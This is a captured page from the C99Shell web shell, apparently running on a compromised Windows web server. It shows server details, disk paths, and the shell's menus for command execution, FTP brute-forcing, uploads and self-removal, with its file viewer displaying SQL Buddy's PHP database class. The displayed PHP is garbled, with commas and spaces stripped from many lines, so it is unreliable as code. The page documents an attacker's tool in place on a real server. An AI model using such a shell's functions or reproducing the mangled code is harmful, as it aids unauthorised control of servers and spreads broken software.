!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\nuevo\htdocs\boletinlegal\admin\report\sqlbuddy\includes\class\   drwxrwxrwx
Free 1.08 GB of 239.26 GB (0.45%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Sql-php4.php (10.5 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*

SQL Buddy - Web based MySQL administration
http://www.sqlbuddy.com/

sql-php4.php
- sql class (php4 compatible)

MIT license

2008 Calvin Lough <http://calv.in>

*/

class SQL {
    
    var 
$adapter "";
    var 
$method "";
    var 
$version "";
    var 
$conn "";
    var 
$options "";
    var 
$errorMessage "";
    var 
$db "";
    
    function 
SQL($connString$user ""$pass "") {
        list(
$this->adapter$options) = explode(":"$connString2);
        
        if (
$this->adapter != "sqlite") {
            
$this->adapter "mysql";
        }
        
        
$optionsList explode(";"$options);
        
        foreach (
$optionsList as $option) {
            list(
$a$b) = explode("="$option);
            
$opt[$a] = $b;
        }
        
        
$this->options $opt;
        
$database = (array_key_exists("database"$opt)) ? $opt['database'] : "";
        
        if (
$this->adapter == "sqlite") {
            
$this->method "sqlite";
            
$this->conn sqlite_open($database0666$sqliteError);
        } else {
            
$this->method "mysql";
            
$host = (array_key_exists("host"$opt)) ? $opt['host'] : "";
            
$this->conn = @mysql_connect($host$user$pass);
        }
        
        if (
$this->conn && $this->adapter == "mysql") {
            
$this->query("SET NAMES 'utf8'");
        }
    }
    
    function 
isConnected() {
        return (
$this->conn !== false);
    }
    
    function 
disconnect() {
        if (
$this->conn) {
            if (
$this->method == "mysql") {
                
mysql_close($this->conn);
                
$this->conn null;
            } else if (
$this->method == "sqlite") {
                
sqlite_close($this->conn);
                
$this->conn null;
            }
        }
    }
    
    function 
getAdapter() {
        return 
$this->adapter;
    }
    
    function 
getMethod() {
        return 
$this->method;
    }
    
    function 
getOptionValue($optKey) {
        if (
array_key_exists($optKey$this->options)) {
            return 
$this->options[$optKey];
        } else {
            return 
false;
        }
    }
    
    function 
selectDB($db) {
        if (
$this->conn) {
            
            
$this->db $db;
            
            if (
$this->method == "mysql") {
                return (
mysql_select_db($db));
            } else {
                return 
true;
            }
        } else {
            return 
false;
        }
    }

    function 
query($queryText) {
        if (
$this->conn) {
            if (
$this->method == "mysql") {
                
$queryResult = @mysql_query($queryText$this->conn);

                if (!
$queryResult) {
                    
$this->errorMessage mysql_error();
                }

                return 
$queryResult;
            } else if (
$this->method == "sqlite") {
                
$queryResult sqlite_query($this->conn$queryText);

                if (!
$queryResult) {
                    
$this->errorMessage sqlite_error_string(sqlite_last_error($this->conn));
                }

                return 
$queryResult;
            }
        } else {
            return 
false;
        }
    }

    function 
rowCount($resultSet) {
        if (
$this->conn) {
            if (
$this->method == "mysql") {
                return @
mysql_num_rows($resultSet);
            } else if (
$this->method == "sqlite") {
                return @
sqlite_num_rows($resultSet);
            }
        }
    }
    
    function 
isResultSet($resultSet) {
        if (
$this->conn) {
            return (
$this->rowCount($resultSet) > 0);
        }
    }
    
    function 
fetchArray($resultSet) {
        if (!
$resultSet)
            return 
false;
        
        if (
$this->conn) {
            if (
$this->method == "mysql") {
                return 
mysql_fetch_row($resultSet);
            } else if (
$this->method == "sqlite") {
                return 
sqlite_fetch_array($resultSetSQLITE_NUM);
            }
        }
    }

    function 
fetchAssoc($resultSet) {
        if (!
$resultSet)
            return 
false;
        
        if (
$this->conn) {
            if (
$this->method == "mysql") {
                return 
mysql_fetch_assoc($resultSet);
            } else if (
$this->method == "sqlite") {
                return 
sqlite_fetch_array($resultSetSQLITE_ASSOC);
            }
        }
    }

    function 
affectedRows($resultSet) {
        if (!
$resultSet)
            return 
false;
        
        if (
$this->conn) {
            if (
$this->method == "mysql") {
                return @
mysql_affected_rows($resultSet);
            } else if (
$this->method == "sqlite") {
                return 
sqlite_changes($resultSet);
            }
        }
    }
    
    function 
result($resultSet$targetRow$targetColumn "") {
        if (!
$resultSet)
            return 
false;
        
        if (
$this->conn) {
            if (
$this->method == "mysql") {
                return 
mysql_result($resultSet$targetRow$targetColumn);
            } else if (
$this->method == "sqlite") {
                return 
sqlite_column($resultSet$targetColumn);
            }
        }
    }
    
    function 
listDatabases() {
        if (
$this->conn) {
            if (
$this->adapter == "mysql") {
                return 
$this->query("SHOW DATABASES");
            } else if (
$this->adapter == "sqlite") {
                
$database = (array_key_exists("database"$this->options)) ? $this->options['database'] : "";
                return 
$database;
            }
        }
    }
    
    function 
listTables() {
        if (
$this->conn) {
            if (
$this->adapter == "mysql") {
                return 
$this->query("SHOW TABLES");
            } else if (
$this->adapter == "sqlite") {
                return 
$this->query("SELECT name FROM sqlite_master WHERE type = 'table' ORDER BY name");
            }
        }
    }
    
    function 
hasCharsetSupport()
    {
        if (
$this->conn) {
            if (
$this->adapter == "mysql" && version_compare($this->getVersion(), "4.1"">")) {
                return 
true;
            } else  {
                return 
false;
            }
        }
    }
    
    function 
listCharset() {
        if (
$this->conn) {
            if (
$this->adapter == "mysql") {    
                return 
$this->query("SHOW CHARACTER SET");
            } else if (
$this->adapter == "sqlite") {
                return 
"";
            }
        }
    }
    
    function 
listCollation() {
        if (
$this->conn) {
            if (
$this->adapter == "mysql") {
                return 
$this->query("SHOW COLLATION");
            } else if (
$this->adapter == "sqlite") {
                return 
"";
            }
        }
    }
    
    function 
insertId($resultSet null) {
        if (
$this->conn) {
            if (
$this->method == "mysql") {
                return 
mysql_insert_id($resultSet);
            } else if (
$this->method == "sqlite") {
                return 
sqlite_last_insert_rowid($resultSet);
            }
        }
    }

    function 
escapeString($toEscape) {
        if (
$this->conn) {
            if (
$this->adapter == "mysql") {
                return 
mysql_real_escape_string($toEscape);
            } else if (
$this->adapter == "sqlite") {
                return 
sqlite_escape_string($toEscape);
            }
        }
    }
    
    function 
getVersion() {
        if (
$this->conn) {
            
// cache
            
if ($this->version) {
                return 
$this->version;
            }
            
            if (
$this->adapter == "mysql") {
                
$verSql mysql_get_server_info();
                
$version explode("-"$verSql);
                
$this->version $version[0];
                return 
$this->version;
            } else if (
$this->adapter == "sqlite") {
                
$this->version sqlite_libversion();
                return 
$this->version;
            }
        }

    }
    
    
// returns the number of rows in a table
    
function tableRowCount($table) {
        if (
$this->conn) {
            if (
$this->adapter == "mysql") {
                
$countSql $this->query("SELECT COUNT(*) AS `RowCount` FROM `" $table "`");
                
$count = (int)($this->result($countSql0"RowCount"));
                return 
$count;
            } else if (
$this->adapter == "sqlite") {
                
$countSql $this->query("SELECT COUNT(*) AS 'RowCount' FROM '" $table "'");
                
$count = (int)($this->result($countSql0"RowCount"));
                return 
$count;
            }
        }
    }
    
    
// gets column info for a table
    
function describeTable($table) {
        if (
$this->conn) {
            if (
$this->adapter == "mysql") {
                return 
$this->query("DESCRIBE `" $table "`");
            } else if (
$this->adapter == "sqlite") {
                
$columnSql $this->query("SELECT sql FROM sqlite_master where tbl_name = '" $table "'");
                
$columnInfo $this->result($columnSql0"sql");
                
$columnStart strpos($columnInfo'(');
                
$columns substr($columnInfo$columnStart+1, -1);
                
$columns split(',[^0-9]'$columns);
                
                
$columnList = array();
                
                foreach (
$columns as $column) {
                    
$column trim($column);
                    
$columnSplit explode(" "$column2);
                    
$columnName $columnSplit[0];
                    
$columnType = (sizeof($columnSplit) > 1) ? $columnSplit[1] : "";
                    
$columnList[] = array($columnName$columnType);
                }
                
                return 
$columnList;
            }
        }
    }
    
    
/*
        Return names, row counts etc for every database, table and view in a JSON string
    */
    
function getMetadata() {
        
$output '';
        if (
$this->conn) {
            if (
$this->adapter == "mysql" && version_compare($this->getVersion(), "5.0.0"">=")) {
                
$this->selectDB("information_schema");
                
$schemaSql $this->query("SELECT `SCHEMA_NAME` FROM `SCHEMATA` ORDER BY `SCHEMA_NAME`");
                if (
$this->rowCount($schemaSql)) {
                    while (
$schema $this->fetchAssoc($schemaSql)) {
                        
$output .= '{"name": "' $schema['SCHEMA_NAME'] . '"';
                        
// other interesting columns: TABLE_TYPE, ENGINE, TABLE_COLUMN and many more
                        
$tableSql $this->query("SELECT `TABLE_NAME`, `TABLE_ROWS` FROM `TABLES` WHERE `TABLE_SCHEMA`='" $schema['SCHEMA_NAME'] . "' ORDER BY `TABLE_NAME`");
                        if (
$this->rowCount($tableSql)) {
                            
$output .= ',"items": [';
                            while (
$table $this->fetchAssoc($tableSql)) {
                                
                                if (
$schema['SCHEMA_NAME'] == "information_schema") {
                                    
$countSql $this->query("SELECT COUNT(*) AS `RowCount` FROM `" $table['TABLE_NAME'] . "`");
                                    
$rowCount = (int)($this->result($countSql0"RowCount"));
                                } else {
                                    
$rowCount = (int)($table['TABLE_ROWS']);
                                }
                                
                                
$output .= '{"name":"' $table['TABLE_NAME'] . '","rowcount":' $rowCount '},';
                            }
                            
                            if (
substr($output, -1) == ",")
                                
$output substr($output0, -1);
                            
                            
$output .= ']';
                        }
                        
$output .= '},';
                    }
                    
$output substr($output0, -1);
                }
            } else if (
$this->adapter == "mysql") {
                
$schemaSql $this->listDatabases();
                
                if (
$this->rowCount($schemaSql)) {
                    while (
$schema $this->fetchArray($schemaSql)) {
                        
$output .= '{"name": "' $schema[0] . '"';
                        
                        
$this->selectDB($schema[0]);
                        
$tableSql $this->listTables();
                        
                        if (
$this->rowCount($tableSql)) {
                            
$output .= ',"items": [';
                            while (
$table $this->fetchArray($tableSql)) {
                                
$countSql $this->query("SELECT COUNT(*) AS `RowCount` FROM `" $table[0] . "`");
                                
$rowCount = (int)($this->result($countSql0"RowCount"));
                                
$output .= '{"name":"' $table[0] . '","rowcount":' $rowCount '},';
                            }
                            
                            if (
substr($output, -1) == ",")
                                
$output substr($output0, -1);
                            
                            
$output .= ']';
                        }
                        
$output .= '},';
                    }
                    
$output substr($output0, -1);
                }
            } else if (
$this->adapter == "sqlite") {
                
$database = (array_key_exists("database"$this->options)) ? $this->options['database'] : "";
                
                
$output .= '{"name": "' $database '"';
                
                
$tableSql $this->listTables();

                if (
$this->rowCount($tableSql)) {
                    
$output .= ',"items": [';
                    while (
$tableRow $this->fetchArray($tableSql)) {
                        
$countSql $this->query("SELECT COUNT(*) AS 'RowCount' FROM '" $tableRow[0] . "'");
                        
$rowCount = (int)($this->result($countSql0"RowCount"));
                        
$output .= '{"name":"' $tableRow[0] . '","rowcount":' $rowCount '},';
                    }
                    
                    if (
substr($output, -1) == ",")
                        
$output substr($output0, -1);
                    
                    
$output .= ']';
                }
                
$output .= '}';
            }
        }
        return 
$output;
    }

    function 
error() {
        return 
$this->errorMessage;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--